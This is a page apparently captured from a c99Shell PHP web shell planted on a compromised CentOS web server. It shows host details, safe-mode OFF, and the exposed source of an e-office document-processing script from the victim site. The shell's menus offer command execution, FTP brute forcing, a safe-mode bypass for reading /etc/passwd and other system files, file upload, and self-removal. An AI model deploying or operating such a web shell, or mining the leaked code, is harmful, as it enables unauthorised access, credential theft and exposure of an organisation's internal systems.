!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.92 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processReceiveDocSRAll.php (8.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"funct.php";
include_once 
"../class/clsSendReceive.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clsRunningDoc.php";
include_once 
"../class/clsDocattatches.php";
include_once 
"../class/clsSysConfig.php";
include_once 
"../class/clsCollegeDetail.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oTsr = new sendreceive($oC);
$oTsre = new sendreceive($oC);
$oDlc = new DocLineConfig($oC);
$oDP = new Department($oC);
$oDt1 = new doctype($oC);
$oDoc = new Documents($oC);
$oRs = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRd = new runningdoc($oC);
$oDatt = new Docattatches($oC);
$oDatt2 = new Docattatches($oC);
$oDatt3 = new Docattatches($oC);
$oDatt1 = new Docattatches($oC);
$oSys = new sysConfig($oC);
$oCd = new collegedetail($oC);

$oDlc->SearchByKey($DlcID); $oDlc->GetRecord(); 
$oSys->SearchByKey($free);
$oSys->GetRecord();
$MaxDocGroup=$oDP->SearchMaxDocGroup();
if(isset(
$_POST)){

                    
$flagCommit true;
                    
$checkflagCommittrue;
                    
$oC->BeginTrans();
                    
                    
$timesend=getNowDateTh()." ".date('H:i:s');
                    
                    
$str $_POST['store_DrsID'];
                    
$tmp explode("," ,$str);
                    
$tmp array_reverse($tmp);
                    
$reversed_str join(','$tmp);                             
                  
                  
//echo '<br>---------------------------------------<br>';
                  
$store_DrsID_exp explode("," ,$reversed_str);
                  
$store_DrsID_exp_count=count($store_del_exp);
                    
                  
$store_DrsID_exp_count=count($store_DrsID_exp);
                  for(
$j=0$j<$store_DrsID_exp_count;$j++){
                        
$tsr_id trim($store_DrsID_exp[$j]);
                        if(
strlen($tsr_id)==0){
                        
                        }else{
                            
//echo 'Check box value ->'.$tsr_id;
                            //echo '<br>'.$DlcID;
                            //--------------
                            
$oTsr->SearchByKey($tsr_id);
                            
$oTsr->GetRecord();
                            if(
$oTsr->tsr_receive==""){  //case receive normal
                                    
$oTsr->Edit();
                                    
$oTsr->tsr_DlcID=$DlcID;
                                    
$oTsr->tsr_personId=$personId;
                                    
$oTsr->tsr_receive='Y';
                                    
$oTsr->tsr_receivedate=$timesend;
                                
                                
//echo '----------------'.$tsr_doc_url=$oTsr->tsr_doc_url;
                                    
$tsr_doc_url=$oTsr->tsr_doc_url;
                                    
$tsr_doc_chksum=$oTsr->tsr_doc_chksum;
                                    
$tsr_fr_node=$oTsr->tsr_fr_node;
                                    
$tsr_docname=$oTsr->tsr_docname;
                                    
$tsr_statusDocAtt=$oTsr->tsr_statusDocAtt;
                                    
$countstatusDocAtt=strlen($tsr_statusDocAtt);
                                    
                                    
$checkflagCommit $oTsr->Save();
                                
                                    
$oDlc->SearchByKey($DlcID); $oDlc->GetRecord(); 
                                    
                                    
//--runing number
                                    
$rd=ShowRunningDoc(1,$oTsr->tsr_DtID,$oDlc->deptId); 
                                                
//--------------add documents
                                                
$oDoc->AddNew();
                                                
$oDoc->DocID=$oDoc->GetNextCode();
                                                
$e=$oDoc->GetNextCode();
                                                
$oDoc->DlcID=$DlcID;
                                                
$oDoc->DtID=$oTsr->tsr_DtID;
                                                
$oDoc->DslID=$oTsr->tsr_DslID;
                                                
$oDoc->DclID=$oTsr->tsr_DclID;
                                                
$oDoc->DsID=1;
                                                
$oDoc->RsID=1;
                                                
$oDoc->DocDateCreate=$timesend;
                                                
$oDoc->DocUserCreate=$personId;
                                                
$oDoc->DocTypeNo=$rd;
                                                
$oDoc->DocDate=$oTsr->tsr_DocDate;
                                                
$oDoc->DocNo=$oTsr->tsr_DocNo;
                                                
$oDoc->DocSubject=$oTsr->tsr_DocSubject;
                                                
$oDoc->DocFrom=$oTsr->tsr_DocFrom;
                                                
$oDoc->DocTo=$oTsr->tsr_DocTo;
                                                
$oDoc->DocShortDesc=$oTsr->tsr_DocShortDesc;
                                                
$oDoc->DocGroup=$MaxDocGroup;
                                                
$oDoc->DocRef=$oTsr->tsr_DocRef;
                                                
$oDoc->DocOther=$oTsr->tsr_DocOther;
                                                
$oDoc->eDoc='Y';
                                                
$oDoc->DocTelOwner=$oTsr->tsr_DocTelOwner;
                                                
$oDoc->DocSendReal=$oTsr->tsr_DocSendReal;
                                                
$oDoc->DocDeptOwner=$oTsr->tsr_DocDeptOwner;
                                                
$oDoc->DocFaxOwner=$oTsr->tsr_DocFaxOwner;
                                                
$oDoc->DocCopySend=$oTsr->tsr_DocCopySend;
                                                
$oDoc->DocContactE=$oTsr->tsr_DocContactE;
                                                
$checkflagCommit $oDoc->Save();    
                                
                                                
//---------------add DocReceiveSend
                                                
$oRs->AddNew();
                                                
$oRs->DrsID=$oRs->GetNextCode();
                                                
$oRs->DocID=$e;
                                                
$oRs->DlcID=$DlcID;
                                                
$oRs->DsID=1;
                                                
$oRs->personId=0;
                                                
$oRs->PtID=$oRs->PtID;
                                                
$oRs->DrsDocTypeNo=$rd;
                                                
$oRs->DrsReceiveDate=$timesend;
                                                
$oRs->DrsReceivePersonId=$personId;
                                                
$oRs->DrsDlcIDCreate=$DlcID;
                                                
$oRs->DrsPsIDCreate=$personId;
                                                
$oRs->DocGroup=$MaxDocGroup;
                                                
$oRs->AnID=$oRs->AnID;    
                                                
$checkflagCommit $oRs->Save();
                                                
                                                    
                                                
//--------update running doc
                                                //receiveOut
                                
                                                        
if(($oTsr->tsr_DtID=="1" || $oTsr->tsr_DtID=="2" || $oTsr->tsr_DtID=="3" || $oTsr->tsr_DtID=="14" || $oTsr->tsr_DtID=="15") && ($oSys->useDocTypeNoMix=='N')){
                                                            
$oRd->SearchRunningBydocGroupDtIDfunctDeptdocNoMixN2($MaxDocGroup,$oTsr->tsr_DtID,$oDlc->deptId);
                                                            
$oRd->GetRecord();        
                                                        }else{
                                                            
$oRd->SearchRunningBydocGroupDtIDfunctdocNoMixY2($MaxDocGroup,$oTsr->tsr_DtID);
                                                            
$oRd->GetRecord();        
                                                        }
                                                        
$oRd->Edit();
                                                        
$oRd->receiveNo=$rd;
                                                        
$checkflagCommit $oRd->Save();
                                                
                                                
                                                
//----Get Doctmp to Documents
                                                
$i=0;
                                                while(
$tsr_doc_url!=''){
                                                        list(
$downloadurl,$tsr_doc_url)=preg_split('[,]',$tsr_doc_url,2);
                                                        list(
$downloadfilename,$tsr_docname)=preg_split('[,]',$tsr_docname,2);
                                                        list(
$downloadchksum,$tsr_doc_chksum)=preg_split('[,]',$tsr_doc_chksum,2);
                                
                                                        
$i++;
                                                        if(
$countstatusDocAtt!=$i){
                                                            
$checksDocAtt substr($tsr_statusDocAtt,$i-1,-($countstatusDocAtt-1-($i-1)));
                                                        }else{
                                                            
$checksDocAtt substr($tsr_statusDocAtt,$countstatusDocAtt-1);
                                                        }
                                                        
                                                        if(
$checksDocAtt!='N'){
                                                        
                                                            
$file_name basename($downloadurl); 
                                                            list(
$filename_,$filetype_)=preg_split("/\./",$file_name);
                                                            
$pathfile=$GLOBALS['path_upload_documentsTmp'].$filename_.'-'.$tsr_fr_node.'.'.$filetype_
                                                            
$tempfile $GLOBALS['path_upload_documents'].$filename_.'-'.$tsr_fr_node.'.'.$filetype_
                                                        
                                                            
copy($pathfile,$tempfile);
                                                                    
//----search DaSeq of DocID
                                                                    
$MaxDaSeq=$oDatt1->SearchMaxDaSeqDocID($oDoc->DocID);
                                                                    
$oDatt->AddNew();
                                                                    
$oDatt->DaID=$oDatt->GetNextCode();
                                                                    
$oDatt->DocID=$oDoc->DocID;
                                                                    
$oDatt->DaFileName=$downloadfilename;
                                                                    
$oDatt->DaUpFileName=$filename_.'-'.$tsr_fr_node.'.'.$filetype_
                                                                    
                                                                    if(
$oDatt3->SearchByDaSeqCount0($oDoc->DocID)==0){
                                                                        
$oDatt->DaSeq=$MaxDaSeq+1;
                                                                    }else{
                                                                        
$oDatt->DaSeq=0;
                                                                    }
                                                                    
$checkflagCommit $oDatt->Save();
                                                        }
                                                }
                                                
//------------------------                            
                                        
if(!$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                        
                                            if(
$oTsr->tsr_fr_node==99){ 
                                                    
$folder=$GLOBALS["FOLDERFORSEND1"];
                                            }else if(
$oTsr->tsr_fr_node==8){ 
                                                    
$folder=$GLOBALS["FOLDERFORSEND3"]; 
                                            }else{ 
                                                    
$folder=$GLOBALS["FOLDERFORSEND2"]; 
                                            }
                                            
$oCd->SearchByKey($oTsr->tsr_fr_node);
                                            
$oCd->GetRecord();
                                                
                                            
$tsr_receivedate=str_replace (' ','_',$oTsr->tsr_receivedate);            
                                            
$msg='?fn=setreceive&tsr_id='.$oTsr->tsr_id_send.'&tsr_fr_node='.$oTsr->tsr_fr_node.'&tsr_receive='.$oTsr->tsr_receive.'&tsr_receivedate='.$tsr_receivedate;    
                                            
$path_send='http://'.$oCd->collegeHost.'/'.$folder.'/'.'eoffice/admin/sendTSR.php'.$msg;         
                                            
$res=file_get_contents($path_send); 
                                } 
//case normal
                        
}
                        
                } 
//for
                
if($flagCommit)
                    
$oC->CommitTrans();
                else
                    
$oC->RollbackTrans();
                                  
  echo 
"<meta http-equiv='refresh' content='0; URL=sendReceiveDoc_c.php'>";
}
  
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0119 ]--